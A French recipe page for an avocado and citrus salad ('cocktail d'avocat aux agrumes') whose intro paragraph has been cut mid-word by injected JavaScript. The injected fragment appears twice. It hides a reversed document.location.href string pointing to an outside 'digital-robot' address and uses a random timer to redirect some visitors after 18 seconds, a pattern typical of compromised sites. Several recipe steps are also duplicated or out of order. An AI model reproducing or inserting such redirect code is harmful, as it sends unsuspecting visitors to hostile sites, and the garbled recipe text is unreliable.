Cocktail d’avocat aux agrumes

2021-05-03

Découpez la peau autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour du pédoncule de la grenade, avec la pointe d’un couteau. Et le retirer. Incisez l’écorce en quartiers. Ouvrez le fruit en 2, puis en 4. Retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournez l’écorce de chaque quartiers pour en détacher les graines. Éliminez les membres restants.

Ingrédients

  • Pour 4 personnes
  • 2 pomelos ou pamplemousse
  • 2 oranges
  • 2 avocats
  • 1 grenade
  • 2 citrons verts
  • Quelques feuilles de laitue

Préparation de la recette

Etape 1

Découpez la peau autour du pédoncule de la grenade, avec la pointe d'un couteau.

Etape 2

Et le retirer.

Etape 3

Incisez l'écorce en quartiers.

Etape 4

Ouvrez le fruit en 2, puis en 4.

Etape 5

Retournez l'écorce de chaque quartiers pour en détacher les graines.

Etape 6

Éliminez les membres restants.

Etape 7

Pelez les pomelos et les oranges à vif.

Etape 8

Détaillez les quartiers en prenant soin d'éliminer les membranes.

Etape 9

Coupez-les avocats en 2.

Etape 10

Retirez le noyau.

Etape 11

Pelez chaque membrane.

Etape 12

Coupez-les avocats en 2.

Etape 13

Retirez le noyau.

Etape 14

Pelez chaque moitié et coupez-les en lamelles.

Etape 15

Arrosez de jus de citron pour éviter qu'ils noircissent.

Etape 16

Coupez l'avocat restant en quartiers.

Etape 17

Réunissez tous ces fruits sur un lit de laitue.

Etape 18

Dégustez frais

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